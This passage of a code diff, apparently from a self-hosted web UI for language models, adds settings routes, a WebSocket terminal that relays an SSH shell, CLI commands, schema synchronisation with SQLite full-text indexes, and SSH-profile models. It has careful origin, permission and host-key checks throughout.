except (TypeError, ValueError):
continue
kept[str(name)] = min(max(value, bounds[0]), bounds[1])
settings = {**(user.settings_json or {})}
settings["layout"] = {**(settings.get("layout") or {}), **kept}
user.settings_json = settings
db.commit()
return {"ok": True, "layout": kept}
@router.post("/default-model")
async def set_default_model(
db: Db, user: RequiredUser, model_id: str = Form("")
) -> Response:
"""Choose which model new chats start with.
An empty value clears the choice and falls back to the instance default.
Validated against what this user can actually reach, so a model they lose
access to cannot linger as a preference that silently fails later.
"""
from lembas.security import permissions
model_id = model_id.strip()
if model_id and not permissions.can_use_model(db, user, model_id):
return RedirectResponse(
"/settings?error=That+model+is+not+available+to+you.", status_code=303
)
settings_map = {**(user.settings_json or {})}
if model_id:
settings_map["default_model"] = model_id
else:
settings_map.pop("default_model", None)
user.settings_json = settings_map
db.commit()
return RedirectResponse("/settings?saved=Default+model+updated.", status_code=303)
@router.post("/audio")
async def set_audio(
db: Db,
user: RequiredUser,
voice: str = Form(""),
speed: str = Form(""),
language: str = Form(""),
autoplay: bool = Form(False),
) -> Response:
"""Per-reader audio choices, overriding the instance defaults.
The voice is deliberately not checked against the discovered list. Voices
come and go when a speech server is reconfigured, and rejecting a saved
preference because a list fetched a moment ago did not mention it would be
a confusing failure with no obvious fix.
"""
chosen: dict[str, object] = {"autoplay": autoplay}
if voice.strip():
chosen["voice"] = voice.strip()[:120]
if language.strip():
chosen["language"] = language.strip()[:16]
if speed.strip():
# An unreadable speed leaves the default in place rather than failing:
# nothing else on the form should be lost to a typo in one field.
with contextlib.suppress(ValueError):
chosen["speed"] = min(max(float(speed), 0.25), 4.0)
# Whole-dict reassignment: an in-place edit of a JSON column is not
# reliably detected as a change.
user.settings_json = {**(user.settings_json or {}), "audio": chosen}
db.commit()
return RedirectResponse("/settings?saved=Audio+preferences+updated.", status_code=303)
@router.post("/password")
async def change_password(
request: Request,
db: Db,
user: RequiredUser,
current_password: str = Form(...),
new_password: str = Form(...),
confirm_password: str = Form(...),
) -> Response:
"""Change your own password.
Every other session is revoked on success. If the reason for changing a
password is that someone else knows it, leaving their session alive would
defeat the point.
"""
def back(message: str, ok: bool = False) -> Response:
from urllib.parse import quote
field = "saved" if ok else "error"
return RedirectResponse(
f"/settings?{field}={quote(message)}", status_code=status.HTTP_303_SEE_OTHER
)
if not verify_password(current_password, user.password_hash):
log.info("failed password change for %s: current password wrong", user.email)
return back("Your current password is not correct.")
if new_password != confirm_password:
return back("The new passwords do not match.")
if (problem := validate_password(new_password)) is not None:
return back(problem)
if verify_password(new_password, user.password_hash):
return back("That is already your password.")
user.password_hash = hash_password(new_password)
db.commit()
revoke_all_for_user(db, user)
token = create_session(
db,
user,
user_agent=request.headers.get("user-agent", ""),
ip_address=request.client.host if request.client else "",
)
log.info("password changed for %s; other sessions revoked", user.email)
# revoke_all_for_user killed this session too, so hand back a fresh cookie
# -- otherwise changing your password would sign you out of the tab you are
# standing in.
response = back("Password changed. Any other sessions have been signed out.", ok=True)
response.set_cookie(
COOKIE_NAME,
token,
max_age=settings.session_ttl,
httponly=True,
samesite="lax",
secure=False,
path="/",
)
return response
+326
View File
@@ -0,0 +1,326 @@
"""The socket behind the terminal panel.
A WebSocket rather than SSE, because SSE is one-directional and a terminal is
not: keystrokes have to go up, and an HTTP round trip per keypress is not a
terminal. It is the only WebSocket in LLeMbas, and it is worth saying what that
costs -- a cross-site page that could reach this endpoint would have a shell on
somebody's machine, not merely a copy of their chat. So there are two locks on
the door, and this module is mostly them.
**Where a refusal happens is load-bearing.** A browser tells a page nothing
about a handshake that *failed*: `new WebSocket()` fires `error` with no status
and no reason. So the socket is accepted first and the reason sent as a frame
for everything a person could act on -- no permission, the connection is
disabled, its host key was never confirmed -- and refused before accepting only
for the two cases where accepting is itself the risk.
It holds no database session. A dependency would keep one open for the hour a
shell sits at a prompt; `session_scope()` opens one for the authorisation and
closes it, exactly as `generation._run` does.
"""
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
from urllib.parse import urlsplit
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
from lembas.api.deps import Db, RequiredUser
from lembas.db.models import KIND_AGENT, Chat
from lembas.db.session import session_scope
from lembas.security import permissions
from lembas.security.sessions import COOKIE_NAME, resolve_session
from lembas.services import settings_store
from lembas.services.agent import session as agent_session
from lembas.services.agent import terminal as terminal_service
from lembas.services.agent.base import ExecError
log = logging.getLogger(__name__)
router = APIRouter(prefix="/api/chats", tags=["terminal"])
# Nothing a keyboard produces is anywhere near this. Paste is the only thing
# that comes close, and a megabyte pasted into a shell is a mistake either way.
MAX_INPUT_BYTES = 256 * 1024
# 1008 is "policy violation", the closest thing the protocol has to "no".
CLOSE_POLICY = 1008
# What the far side is told when a shell ends, in words rather than a code.
CLOSED_WORDS = {
terminal_service.CLOSED_EXITED: "The shell exited.",
terminal_service.CLOSED_IDLE: "This terminal was closed after sitting idle.",
terminal_service.CLOSED_SHUTDOWN: "LLeMbas restarted, so this shell was closed.",
terminal_service.CLOSED_REVOKED: "The connection behind this terminal was closed.",
terminal_service.CLOSED_ERROR: "The connection to the machine was lost.",
}
def _same_origin(websocket: WebSocket) -> bool:
"""Whether this handshake came from a page served by this site.
Required, not merely checked when present. The session cookie is SameSite
Lax, which already withholds it from a handshake a foreign page starts, and
this is the belt to that brace -- an absent Origin is not a browser, and a
non-browser client has no business here.
"""
origin = websocket.headers.get("origin")
host = websocket.headers.get("host")
if not origin or not host:
return False
return urlsplit(origin).netloc.lower() == host.lower()
def _prepare(db, user, chat_id: str) -> tuple[str, dict]:
"""Everything that has to be true, and what opening needs. One or the other.
Returns a message to show, or the arguments for `open_session`. The order is
the order somebody would ask the questions in, and every "no" is a sentence
rather than a silence.
"""
if not permissions.has(db, user, "agent.terminal"):
return "You do not have permission to open a terminal.", {}
chat = db.get(Chat, chat_id)
if chat is None or chat.user_id != user.id:
return "That chat no longer exists.", {}
if chat.kind != KIND_AGENT:
return "This is an ordinary chat, so it has no machine to open a shell on.", {}
values = settings_store.agents(db)
if not values.get("terminal_enabled", True):
return "The terminal is switched off on this instance.", {}
context = agent_session.resolve(db, chat, user)
if context is None:
return (
"This chat's connection is not usable: it may have been deleted, "
"disabled, or agent chats may be switched off here.",
{},
)
return "", {
"owner_id": user.id,
"profile_id": chat.ssh_profile_id or "",
"label": context.label,
"spec": context.spec,
"project_dir": context.project_dir,
"idle_timeout": float(values["terminal_idle_timeout"]),
"max_sessions": int(values["terminal_max_sessions"]),
"max_per_user": int(values["terminal_max_per_user"]),
"integrate": bool(values.get("terminal_integration", True)),
}
@router.websocket("/{chat_id}/terminal/ws")
async def terminal_socket(
websocket: WebSocket,
chat_id: str,
cols: int = 80,
rows: int = 24,
) -> None:
if not _same_origin(websocket):
await websocket.close(code=CLOSE_POLICY)
return
with session_scope() as db:
user = resolve_session(db, websocket.cookies.get(COOKIE_NAME))
if user is None:
await websocket.close(code=CLOSE_POLICY)
return
problem, opening = _prepare(db, user, chat_id)
owner_email = user.email
await websocket.accept()
if problem:
await _refuse(websocket, problem)
return
try:
session = await terminal_service.open_session(chat_id, cols=cols, rows=rows, **opening)
except ExecError as exc:
await _refuse(websocket, str(exc))
return
except Exception: # noqa: BLE001 - a failure here is one socket, not the app
log.exception("could not open a terminal for %s", owner_email)
await _refuse(websocket, "The shell could not be started.")
return
# Shaping a frame is this layer's job, not the session's; the session only
# knows it finished something. Reassigned per socket and harmless: every
# socket on this session would build the identical frame.
session.on_command = lambda found: session.announce(
json.dumps({"t": "command", "command": _command_frame(found)})
)
viewer = session.attach(cols, rows)
await websocket.send_text(
json.dumps(
{
"t": "ready",
"label": session.label,
"dir": session.project_dir,
"cols": session.cols,
"rows": session.rows,
# Two tabs share one shell, and a size neither of them chose is
# otherwise a mystery.
"shared": len(session.viewers) > 1,
# Whether this shell will tell us where commands begin and end,
# which is what the Copy and Send buttons are made of.
"integration": session.integration,
"last": _command_frame(session.latest()),
}
)
)
if viewer.snapshot:
await websocket.send_bytes(viewer.snapshot)
downward = asyncio.create_task(_to_browser(websocket, session, viewer))
upward = asyncio.create_task(_from_browser(websocket, session, viewer))
try:
await asyncio.wait({downward, upward}, return_when=asyncio.FIRST_COMPLETED)
finally:
for task in (downward, upward):
task.cancel()
with contextlib.suppress(asyncio.CancelledError, Exception):
await task
# The session is deliberately left running. Closing the panel, or
# navigating away, is not "I am finished with this machine" -- a build
# carries on and the scrollback is still there on the way back. The
# idle timeout is what eventually ends it.
session.detach(viewer)
@router.get("/{chat_id}/terminal/last")
async def last_command(db: Db, user: RequiredUser, chat_id: str) -> dict:
"""The last command and its output, rendered ready to paste.
The *server* renders the text, so Copy and Send are a fetch and a
clipboard write with no formatting logic in the browser -- and the block a
model eventually reads exists in exactly one place. The panel's own screen
buffer could not produce it anyway: it holds what is on screen, hard-wrapped
at the terminal's width, with no way to tell a wrap from a newline.
"""
chat = db.get(Chat, chat_id)
if chat is None or chat.user_id != user.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
if not permissions.has(db, user, "agent.terminal"):
raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot open a terminal.")
session = terminal_service.get(chat_id)
found = session.latest() if session is not None else None
if session is None or found is None:
return {
"ok": False,
"message": "Nothing has been run in this shell yet."
if session is not None
else "This terminal is not open.",
}
return {
"ok": True,
"command": found.command,
"cwd": found.cwd,
"exit": found.exit_status,
"running": found.running,
"summary": found.summary(),
"text": found.as_text(label=session.label),
}
def _command_frame(found) -> dict | None:
"""A finished command, small enough to push at every viewer.
Tens of bytes, and deliberately *not* the output: a 64KB text frame would
compete with PTY bytes on the one path that has to stay responsive, and the
two buttons are pressed by a person, where a request is the natural shape.
"""
if found is None:
return None
return {
"seq": found.seq,
"command": found.command,
"cwd": found.cwd,
"exit": found.exit_status,
"running": found.running,
"ms": found.duration_ms,
"summary": found.summary(),
}
async def _to_browser(websocket: WebSocket, session, viewer) -> None:
"""Everything the shell says, plus the one frame that says it stopped."""
while True:
chunk = await viewer.queue.get()
if chunk is None:
reason = terminal_service.CLOSED_EXITED if viewer.dropped else session.closed_reason
payload = {"t": "closed", "reason": reason, "message": _words(reason)}
if viewer.dropped:
# Not the session's doing: this browser stopped reading and was
# disconnected so the others kept up. Reconnecting costs it
# nothing, because the scrollback is the state.
payload = {"t": "behind", "message": "Reconnecting: output arrived faster than "
"this window could draw it."}
with contextlib.suppress(Exception):
await websocket.send_text(json.dumps(payload))
return
# A string in the queue is a control frame that had to keep its place
# in the stream -- see `Session.announce`.
if isinstance(chunk, str):
await websocket.send_text(chunk)
continue
await websocket.send_bytes(chunk)
async def _from_browser(websocket: WebSocket, session, viewer) -> None:
"""Keystrokes as binary, everything else as JSON.
Binary for the hot path is what makes multi-byte characters safe: a read on
the far side lands mid-sequence often enough to matter, and decoding each
frame here would corrupt every boundary. Nothing decodes, so nothing splits.
"""
while True:
try:
message = await websocket.receive()
except WebSocketDisconnect:
return
if message["type"] == "websocket.disconnect":
return
data = message.get("bytes")
if data is not None:
if len(data) > MAX_INPUT_BYTES:
continue
await session.send(data)
continue
text = message.get("text")
if text:
_control(session, viewer, text)
def _control(session, viewer, text: str) -> None:
try:
payload = json.loads(text)
except ValueError:
return
if not isinstance(payload, dict) or payload.get("t") != "resize":
return
session.resize(viewer, payload.get("cols", 80), payload.get("rows", 24))
def _words(reason: str) -> str:
return CLOSED_WORDS.get(reason, "This terminal closed.")
async def _refuse(websocket: WebSocket, message: str) -> None:
"""Say why, then close. Sent as a frame because a browser cannot read a
rejected handshake -- the reason would be lost exactly when it is needed."""
with contextlib.suppress(Exception):
await websocket.send_text(json.dumps({"t": "error", "message": message}))
with contextlib.suppress(Exception):
await websocket.close()
+112
View File
@@ -0,0 +1,112 @@
"""Command line entry points."""
from __future__ import annotations
import secrets as secrets_module
import typer
import uvicorn
from sqlalchemy import func, select
from lembas import __version__
from lembas.config import settings
app = typer.Typer(
help="LLeMbas - a Middle-earth themed web UI for your language models.",
no_args_is_help=True,
add_completion=False,
)
@app.command()
def serve(
host: str = typer.Option(None, help="Bind address. Defaults to LEMBAS_HOST."),
port: int = typer.Option(None, help="Port. Defaults to LEMBAS_PORT."),
reload: bool = typer.Option(None, "--reload/--no-reload", help="Autoreload on change."),
) -> None:
"""Run the web server."""
uvicorn.run(
"lembas.main:app",
host=host or settings.host,
port=port or settings.port,
reload=settings.reload if reload is None else reload,
log_level=settings.log_level,
# Access logs duplicate what the application already logs and drown out
# anything useful during development.
access_log=settings.log_level == "debug",
)
@app.command("create-admin")
def create_admin(
email: str = typer.Option(..., prompt=True),
name: str = typer.Option(..., prompt=True),
password: str = typer.Option(..., prompt=True, hide_input=True, confirmation_prompt=True),
) -> None:
"""Create an administrator, or promote an existing account to one.
The web sign-up already makes the first account an admin. This is the way
back in when that account is lost, or when scripting a deployment.
"""
from lembas.db.models import ROLE_ADMIN, User
from lembas.db.session import init_db, session_scope
from lembas.security.passwords import hash_password, validate_password
if (problem := validate_password(password)) is not None:
typer.secho(problem, fg=typer.colors.RED)
raise typer.Exit(1)
init_db()
with session_scope() as db:
existing = db.scalar(select(User).where(User.email == email.strip().lower()))
if existing is not None:
existing.role = ROLE_ADMIN
existing.password_hash = hash_password(password)
existing.active = True
typer.secho(f"Promoted {existing.email} to administrator.", fg=typer.colors.GREEN)
return
db.add(
User(
email=email.strip().lower(),
name=name.strip(),
password_hash=hash_password(password),
role=ROLE_ADMIN,
)
)
typer.secho(f"Created administrator {email}.", fg=typer.colors.GREEN)
@app.command("secret-key")
def secret_key() -> None:
"""Print a fresh value for LEMBAS_SECRET_KEY."""
typer.echo(secrets_module.token_urlsafe(48))
@app.command()
def info() -> None:
"""Show where this instance keeps its data and what is configured."""
from lembas.db.models import Chat, Connection, User
from lembas.db.session import init_db, session_scope
init_db()
typer.echo(f"LLeMbas {__version__}")
typer.echo(f" data directory : {settings.data_dir.resolve()}")
typer.echo(f" database : {settings.db_path.resolve()}")
typer.echo(f" bind : {settings.host}:{settings.port}")
typer.echo(f" default theme : {settings.default_theme}")
typer.echo(f" signup open : {settings.allow_signup}")
if settings.secret_key_is_ephemeral:
typer.secho(
" secret key : GENERATED (set LEMBAS_SECRET_KEY for a real install)",
fg=typer.colors.YELLOW,
)
with session_scope() as db:
for label, model in (("users", User), ("connections", Connection), ("chats", Chat)):
count = db.scalar(select(func.count()).select_from(model))
typer.echo(f" {label:<15}: {count}")
if __name__ == "__main__":
app()
+14 -8
View File
@@ -7,7 +7,7 @@ from functools import lru_cache
from pathlib import Path from pathlib import Path
from typing import Literal from typing import Literal
from pydantic import Field, field_validator from pydantic import Field, model_validator
from pydantic_settings import BaseSettings, SettingsConfigDict from pydantic_settings import BaseSettings, SettingsConfigDict
@@ -22,6 +22,10 @@ class Settings(BaseSettings):
) )
secret_key: str = Field(default="") secret_key: str = Field(default="")
# Set when no LEMBAS_SECRET_KEY was supplied and one had to be invented.
# main.py warns about it at startup; see the validator below.
secret_key_is_ephemeral: bool = Field(default=False, exclude=True)
data_dir: Path = Path("./data") data_dir: Path = Path("./data")
host: str = "127.0.0.1" host: str = "127.0.0.1"
@@ -34,13 +38,15 @@ class Settings(BaseSettings):
session_ttl: int = 60 * 60 * 24 * 30 session_ttl: int = 60 * 60 * 24 * 30
request_timeout: float = 300.0 request_timeout: float = 300.0
@field_validator("secret_key") @model_validator(mode="after")
@classmethod def _generate_secret_if_absent(self) -> Settings:
def _generate_secret_if_absent(cls, v: str) -> str: # A generated key lets `lembas serve` work with no configuration at all,
# A generated key lets `lembas serve` work out of the box, but it changes # but it changes on every restart: sessions drop and stored API keys
# on every restart: sessions drop and stored API keys become unreadable. # become unreadable. Flagged so startup can warn. Never use in anger.
# main.py warns loudly about this. Never rely on it in production. if not self.secret_key:
return v or secrets.token_urlsafe(48) self.secret_key = secrets.token_urlsafe(48)
self.secret_key_is_ephemeral = True
return self
@property @property
def db_path(self) -> Path: def db_path(self) -> Path:
+232
View File
@@ -0,0 +1,232 @@
"""Additive schema synchronisation.
This project has no Alembic, by design: it is SQLite-only and the schema is
created at startup. That was fine until the first live instance had data in it,
at which point adding a column to a model stopped being free -- ``create_all``
only creates missing *tables*, so a new column silently never appears and every
query mentioning it fails.
What this module does instead is derive the migration from the models: compare
each table's declared columns against what the database actually has, and
``ALTER TABLE ... ADD COLUMN`` for whatever is missing. That covers new tables
and new columns, which is essentially every schema change this project makes.
What it deliberately does NOT do:
* rename, drop or retype a column
* add a PRIMARY KEY or UNIQUE constraint to an existing table
* backfill anything requiring application logic
SQLite cannot do most of those with ALTER TABLE anyway; they need the
create-copy-swap dance. Anything in that category is a hand-written job and
should be added to MANUAL_STEPS below so it is at least visible.
"""
from __future__ import annotations
import logging
from typing import Any
from sqlalchemy import Engine, inspect, text
from sqlalchemy.schema import Column, Table
from lembas.db.base import Base
log = logging.getLogger(__name__)
# Schema changes that this module cannot perform. Kept as documentation so a
# failure has somewhere to point rather than being a mystery.
MANUAL_STEPS: list[str] = []
def _literal_default(column: Column) -> str | None:
"""A SQL literal to backfill an existing row's new column with.
SQLite refuses to add a NOT NULL column without a default, and refuses a
non-constant default. Python-side defaults (``default=dict``,
``default=utcnow``) are callables and cannot be expressed in DDL, so the
value is derived from the column type instead. New rows still get the real
Python default; this only fills the rows that already exist.
"""
default = column.default
if default is not None and not default.is_callable and not default.is_clause_element:
value: Any = default.arg
if isinstance(value, bool):
return "1" if value else "0"
if isinstance(value, (int, float)):
return str(value)
if isinstance(value, str):
escaped = value.replace("'", "''")
return f"'{escaped}'"
affinity = column.type.__class__.__name__.upper()
if "JSON" in affinity:
# MutableList columns must start as [] and MutableDict as {}; guessing
# wrong makes the first read blow up rather than return empty.
python_type = getattr(column.type, "python_type", None)
return "'[]'" if python_type is list else "'{}'"
if "BOOL" in affinity:
return "0"
if any(token in affinity for token in ("INT", "FLOAT", "NUMERIC", "DECIMAL")):
return "0"
if "DATE" in affinity or "TIME" in affinity:
return "CURRENT_TIMESTAMP"
if any(token in affinity for token in ("STRING", "TEXT", "VARCHAR", "CHAR")):
return "''"
return None
def _add_column_sql(table: Table, column: Column, dialect) -> str | None:
type_sql = column.type.compile(dialect)
default = _literal_default(column)
if not column.nullable and default is None:
log.error(
"cannot add NOT NULL column %s.%s: no usable default. Add it by hand.",
table.name,
column.name,
)
return None
parts = [f'ALTER TABLE "{table.name}" ADD COLUMN "{column.name}" {type_sql}']
if not column.nullable:
# SQLite refuses a NOT NULL column with no default, so existing rows
# have to be given something. That is the only reason a default is
# emitted at all.
parts.append("NOT NULL")
parts.append(f"DEFAULT {default}")
# A nullable column gets no default on purpose. Backfilling one would give
# existing rows a value the model does not consider absent -- an added
# foreign key would arrive as "" rather than NULL, and every "is this set?"
# check downstream would be wrong about rows that predate it.
return " ".join(parts)
# --- Full-text search --------------------------------------------------------
# The library stores are searched rather than listed, and LIKE over a few
# hundred documents ranks nothing and matches badly. SQLite ships FTS5, so the
# index costs no dependency and works offline like everything else here.
#
# These are the one part of the schema this module's model-diffing cannot
# derive: an FTS5 virtual table is not a SQLAlchemy model, has no columns to
# compare, and needs triggers to stay in step with the table it shadows. So it
# is written out -- but written out *idempotently*, with IF NOT EXISTS
# throughout, which keeps it the same kind of thing as the column sync: run it
# at every startup and it converges.
#
# `content=` makes each index external-content: the text is not stored twice,
# and the triggers below are what the FTS5 documentation calls for to keep an
# external-content index correct through updates and deletes.
FTS_INDEXES: tuple[tuple[str, str, tuple[str, ...]], ...] = (
("documents_fts", "documents", ("title", "description", "extracted_text")),
("notes_fts", "notes", ("title", "body")),
("skills_fts", "skills", ("name", "description", "body")),
)
def _fts_statements(index: str, table: str, columns: tuple[str, ...]) -> list[str]:
# `id` rides along UNINDEXED so a match can be turned straight back into an
# ORM row. The alternative is joining on rowid, which SQLAlchemy models do
# not expose and which changes under VACUUM.
columns = ("id", *columns)
column_list = ", ".join(columns)
declared = ", ".join(
f"{name} UNINDEXED" if name == "id" else name for name in columns
)
new_values = ", ".join(f"new.{name}" for name in columns)
old_values = ", ".join(f"old.{name}" for name in columns)
return [
f"CREATE VIRTUAL TABLE IF NOT EXISTS {index} USING fts5("
f"{declared}, content='{table}', content_rowid='rowid')",
# 'delete' rows carry the old values because an external-content index
# cannot look them up itself once the source row has gone.
f"""CREATE TRIGGER IF NOT EXISTS {index}_ai AFTER INSERT ON {table} BEGIN
INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
END""",
f"""CREATE TRIGGER IF NOT EXISTS {index}_ad AFTER DELETE ON {table} BEGIN
INSERT INTO {index}({index}, rowid, {column_list})
VALUES ('delete', old.rowid, {old_values});
END""",
f"""CREATE TRIGGER IF NOT EXISTS {index}_au AFTER UPDATE ON {table} BEGIN
INSERT INTO {index}({index}, rowid, {column_list})
VALUES ('delete', old.rowid, {old_values});
INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
END""",
]
def ensure_fts(engine: Engine) -> list[str]:
"""Create the search indexes and their triggers if they are missing.
Returns the indexes it created. A failure here is logged and swallowed:
search degrading to "finds nothing" is bad, but it is much better than the
application refusing to start.
"""
created: list[str] = []
inspector = inspect(engine)
known = set(inspector.get_table_names())
with engine.begin() as connection:
for index, table, columns in FTS_INDEXES:
if table not in known:
continue
fresh = index not in known
for statement in _fts_statements(index, table, columns):
connection.execute(text(statement))
if fresh:
# Backfill anything already in the table. Only on creation --
# the triggers keep it current from then on.
column_list = ", ".join(("id", *columns))
connection.execute(
text(
f"INSERT INTO {index}(rowid, {column_list}) "
f"SELECT rowid, {column_list} FROM {table}"
)
)
created.append(index)
return created
def sync_schema(engine: Engine) -> list[str]:
"""Bring the database up to the declared schema. Returns what it changed."""
import lembas.db.models # noqa: F401 (registers every table on the metadata)
changes: list[str] = []
inspector = inspect(engine)
known_tables = set(inspector.get_table_names())
for table in Base.metadata.sorted_tables:
if table.name not in known_tables:
changes.append(f"create table {table.name}")
# Creates anything missing; existing tables are left alone.
Base.metadata.create_all(bind=engine)
inspector = inspect(engine)
with engine.begin() as connection:
for table in Base.metadata.sorted_tables:
existing = {col["name"] for col in inspector.get_columns(table.name)}
for column in table.columns:
if column.name in existing:
continue
statement = _add_column_sql(table, column, engine.dialect)
if statement is None:
continue
connection.execute(text(statement))
changes.append(f"add column {table.name}.{column.name}")
log.info("schema: %s", statement)
try:
for index in ensure_fts(engine):
changes.append(f"create search index {index}")
except Exception: # noqa: BLE001 - search is not worth refusing to start over
log.exception("could not create the full-text search indexes")
if changes:
log.info("schema synchronised: %d change(s)", len(changes))
for step in MANUAL_STEPS:
log.warning("manual schema step still required: %s", step)
return changes
+94 -1
View File
@@ -5,7 +5,22 @@ what ``init_db()`` relies on to create the schema at startup. Any new model
module must be imported here or its table will silently never be created. module must be imported here or its table will silently never be created.
""" """
from lembas.db.models.agent import (
AUTH_KEY,
AUTH_METHODS,
AUTH_PASSWORD,
SshProfile,
)
from lembas.db.models.attachment import (
KIND_DOCUMENT,
KIND_IMAGE,
KIND_TEXT,
Attachment,
)
from lembas.db.models.chat import ( from lembas.db.models.chat import (
KIND_AGENT,
KIND_CHAT,
KINDS,
ROLE_ASSISTANT, ROLE_ASSISTANT,
ROLE_SYSTEM, ROLE_SYSTEM,
ROLE_TOOL, ROLE_TOOL,
@@ -14,8 +29,43 @@ from lembas.db.models.chat import (
Folder, Folder,
Message, Message,
) )
from lembas.db.models.connection import Connection, Model from lembas.db.models.connection import Connection, Model, model_groups
from lembas.db.models.library import (
AUTHOR_MODEL,
AUTHOR_USER,
PRINCIPAL_GROUP,
PRINCIPAL_USER,
RESOURCE_BASE,
RESOURCE_NOTE,
RESOURCE_SKILL,
SOURCE_LINK,
SOURCE_UPLOAD,
Document,
KnowledgeBase,
Memory,
Note,
Share,
Skill,
SkillRevision,
chat_knowledge_bases,
)
from lembas.db.models.setting import Setting from lembas.db.models.setting import Setting
from lembas.db.models.suggestion import Suggestion
from lembas.db.models.tool import (
RESPONSE_JSON,
RESPONSE_MODES,
RESPONSE_RAW,
RESPONSE_TEXT,
SECRET_BEARER,
SECRET_HEADER,
SECRET_NONE,
SECRET_PLACEMENTS,
SECRET_QUERY,
CustomTool,
McpServer,
custom_tool_groups,
mcp_server_groups,
)
from lembas.db.models.user import ( from lembas.db.models.user import (
ROLE_ADMIN, ROLE_ADMIN,
ROLE_PENDING, ROLE_PENDING,
@@ -26,20 +76,63 @@ from lembas.db.models.user import (
) )
__all__ = [ __all__ = [
"AUTHOR_MODEL",
"AUTH_KEY",
"AUTH_METHODS",
"AUTH_PASSWORD",
"AUTHOR_USER",
"Attachment",
"KINDS",
"KIND_AGENT",
"KIND_CHAT",
"KIND_DOCUMENT",
"KIND_IMAGE",
"KIND_TEXT",
"PRINCIPAL_GROUP",
"PRINCIPAL_USER",
"RESOURCE_BASE",
"RESOURCE_NOTE",
"RESOURCE_SKILL",
"RESPONSE_JSON",
"RESPONSE_MODES",
"RESPONSE_RAW",
"RESPONSE_TEXT",
"ROLE_ADMIN", "ROLE_ADMIN",
"ROLE_ASSISTANT", "ROLE_ASSISTANT",
"ROLE_PENDING", "ROLE_PENDING",
"ROLE_SYSTEM", "ROLE_SYSTEM",
"ROLE_TOOL", "ROLE_TOOL",
"ROLE_USER", "ROLE_USER",
"SECRET_BEARER",
"SECRET_HEADER",
"SECRET_NONE",
"SECRET_PLACEMENTS",
"SECRET_QUERY",
"SOURCE_LINK",
"SOURCE_UPLOAD",
"Chat", "Chat",
"Connection", "Connection",
"CustomTool",
"Document",
"Folder", "Folder",
"Group", "Group",
"KnowledgeBase",
"McpServer",
"Memory",
"Message", "Message",
"Model", "Model",
"Note",
"Session", "Session",
"Setting", "Setting",
"Share",
"Skill",
"SshProfile",
"SkillRevision",
"Suggestion",
"User", "User",
"chat_knowledge_bases",
"custom_tool_groups",
"mcp_server_groups",
"model_groups",
"user_groups", "user_groups",
] ]
+103
View File
@@ -0,0 +1,103 @@
"""SSH connections an agent chat can act through.
User-owned, like a `Note` and unlike a `Connection`. That is the opposite of
the rule custom tools and MCP servers follow, and the difference is the point:
those are instance configuration an administrator could grant themselves in one
click anyway, while this is somebody's own machine and somebody's own key.
"Anyone in this group may log in to my server" is a different feature with a
different blast radius.
`services/sharing.py` is deliberately not involved either. Sharing grants
reading, and a host somebody else can read is a host they can log in to.
**Nothing an agent does runs on the LLeMbas machine.** A local sandbox was
designed and dropped: every hard problem in it came from executing on the host
that holds the database and the encryption key. Over SSH, isolation is whatever
host somebody points this at -- which means the security of an agent chat is the
security of that host, and nothing here can tell a throwaway container from a
production server. The admin copy says so out loud.
"""
from __future__ import annotations
from datetime import datetime
from typing import TYPE_CHECKING, Any
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint
from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.types import JSONDict
if TYPE_CHECKING: # pragma: no cover - annotation only
from lembas.db.models.user import User
# How the connection authenticates.
AUTH_KEY = "key"
AUTH_PASSWORD = "password"
AUTH_METHODS = (AUTH_KEY, AUTH_PASSWORD)
class SshProfile(UUIDPrimaryKey, Timestamps, Base):
"""One host somebody can point an agent chat at."""
__tablename__ = "ssh_profiles"
__table_args__ = (UniqueConstraint("owner_id", "name", name="uq_ssh_profile_name"),)
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
name: Mapped[str] = mapped_column(String(120), nullable=False)
host: Mapped[str] = mapped_column(String(255), nullable=False)
port: Mapped[int] = mapped_column(Integer, default=22, nullable=False)
username: Mapped[str] = mapped_column(String(120), nullable=False)
auth: Mapped[str] = mapped_column(String(16), default=AUTH_KEY, nullable=False)
password_encrypted: Mapped[str] = mapped_column(Text, default="")
private_key_encrypted: Mapped[str] = mapped_column(Text, default="")
key_passphrase_encrypted: Mapped[str] = mapped_column(Text, default="")
# One OpenSSH known_hosts line, captured the first time this host answered
# and shown as a fingerprint to be confirmed, then pinned. Empty means
# "never seen". Handed to asyncssh as `known_hosts=<these bytes>` and never
# as None, which turns host key checking off altogether.
host_key: Mapped[str] = mapped_column(Text, default="")
# The SHA256 fingerprint of the above, so the profile page can show what was
# accepted without parsing the line again on every render.
host_fingerprint: Mapped[str] = mapped_column(String(120), default="")
# Where a chat starts by default. A chat records its own, chosen when it is
# created and fixed thereafter; this is only the suggestion in the picker.
default_dir: Mapped[str] = mapped_column(String(500), default="")
connect_timeout: Mapped[int] = mapped_column(Integer, default=15, nullable=False)
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
# What the last connection attempt found, for the list. `server_banner` is
# whatever the host said about itself -- useful for telling two containers
# apart.
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
last_error: Mapped[str] = mapped_column(Text, default="")
server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
owner: Mapped[User] = relationship()
@property
def label(self) -> str:
return self.name or f"{self.username}@{self.host}"
@property
def address(self) -> str:
return f"{self.username}@{self.host}" + (f":{self.port}" if self.port != 22 else "")
@property
def verified(self) -> bool:
"""Whether this host's key has been seen and pinned."""
return bool(self.host_key)
def __repr__(self) -> str:
return f"<SshProfile {self.name} {self.address}>"
__all__ = ["AUTH_KEY", "AUTH_METHODS", "AUTH_PASSWORD", "SshProfile"]
+87
View File
@@ -0,0 +1,87 @@
"""Files attached to chat messages."""
from __future__ import annotations
from sqlalchemy import Boolean, ForeignKey, Integer, String, Text
from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
# What the file is for, decided at upload time. Drives both how it is rendered
# and how it reaches the model: images become multimodal parts, everything else
